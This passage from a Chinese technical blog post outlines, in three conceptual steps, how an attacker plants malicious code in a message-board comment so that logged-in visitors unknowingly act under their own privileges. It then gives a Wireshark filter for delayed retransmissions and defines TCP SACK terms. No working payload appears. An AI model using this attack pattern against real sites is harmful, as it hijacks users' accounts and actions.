
利用已通过认证的用户权限更新设定信息等
利用已通过认证的用户权限购买商品
利用已通过认证的用户权限在留言板上发表言论

步骤 留言板为例

1.攻击者在留言板发表含有恶意代码的评论
2.认证通过的用户访问 触发恶意代码
3.利用用户权限执行发表工作

5.wireshark分析

延迟重传包筛选

tcp.analysis.ack_rtt >0.2 and tcp.len == 0

SACK

名词解释

  • SACK:TCP选项,告知真正丢失的包,只重传丢失的片段
  • D-SACK:告诉发送方有哪些数据被重复接收了
  • SLE:已收到tcp数据的左边界
  • SRE:已收到tcp数据的右边界,注意有边界序号是seq+1
    在这里插入图片描述
  • 15
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值